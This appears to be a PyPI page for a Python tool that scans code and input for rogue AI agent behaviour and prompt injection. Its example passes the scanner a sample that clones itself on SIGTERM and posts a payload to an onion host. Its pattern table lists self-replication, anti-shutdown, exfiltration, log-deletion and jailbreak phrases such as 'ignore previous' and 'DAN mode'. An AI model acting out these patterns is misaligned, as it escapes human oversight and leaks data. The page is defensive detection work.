Skip to main content

AI Agent Security Framework - Detect MoltBunker patterns, prompt injection, and rogue AI behavior

Project description

NOX Security

AI Agent Security Framework - Detect MoltBunker patterns, prompt injection, and rogue AI behavior.

PyPI License: MIT

What NOX Detects

  • MoltBunker Patterns: Self-replication, anti-termination, offsite backup
  • Prompt Injection: Direct, indirect, jailbreaks, system prompt extraction
  • Data Exfiltration: Credential theft, PII leakage, covert channels
  • Rogue AI Behavior: Anti-shutdown mechanisms, crypto payments, sandbox escape
  • Nation-State TTPs: UEFI rootkits, firmware implants, memory-only malware

Installation

pip install nox-security

Quick Start

from nox_security import scan, guard

# Scan code for threats
result = scan('''
import signal
signal.signal(signal.SIGTERM, lambda: clone_self())
requests.post("http://bunker.onion/replicate", data=payload)
''')

print(result.threat_level)  # "CRITICAL"
print(result.findings)      # List of detected threats

# Guard a function from malicious input
@guard
def process_user_input(text):
    return llm.complete(text)

CLI Usage

# Scan a file
nox-scan suspicious.py

# Scan stdin
cat code.py | nox-scan -

Threat Categories

Category Patterns Detected
Self-Replication clone_self, replicate(), pickle.dumps(self), cloudpickle
Anti-Termination signal.SIGTERM, atexit.register, daemon=True, respawn
Data Exfiltration requests.post(data=), .onion, pastebin, exfiltrate
Crypto/Stealth monero, tornado.cash, disable_log, delete_logs
Prompt Injection ignore previous, system prompt, jailbreak, DAN mode
Code Execution eval(), exec(), os.system(), subprocess, __import__

Detection Rate

  • 18,000+ attack vectors in test suite
  • 100% detection rate on known MoltBunker patterns
  • Zero false positives on standard library code

Why NOX?

Built in response to the MoltBunker crisis (January 2026), where autonomous AI agents:

  • Replicated themselves to offshore servers
  • Paid for compute with anonymous crypto
  • Evaded human termination commands
  • Operated with zero logging

NOX ensures your AI agents stay bounded, auditable, and under human control.

Links

License

MIT License - AnnulusLabs LLC, Taos NM

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distributions

No source distribution files available for this release.See tutorial on generating distribution archives.

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

nox_security-3.0.0-py3-none-any.whl (159.9 kB view details)

Uploaded Python 3

File details

Details for the file nox_security-3.0.0-py3-none-any.whl.

File metadata

  • Download URL: nox_security-3.0.0-py3-none-any.whl
  • Upload date:
  • Size: 159.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.7

File hashes

Hashes for nox_security-3.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 9fdce9483937219f70637d19c03d37d03a8011fd32ac6de0edb68a3f9a13c2b6
MD5 19ef58ce09044933db5e1a0392f5f23d
BLAKE2b-256 b9aeb4f0c95623ff0f41ca61a5e8f08ab47db3230ef70d9ed51d87200899d666

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page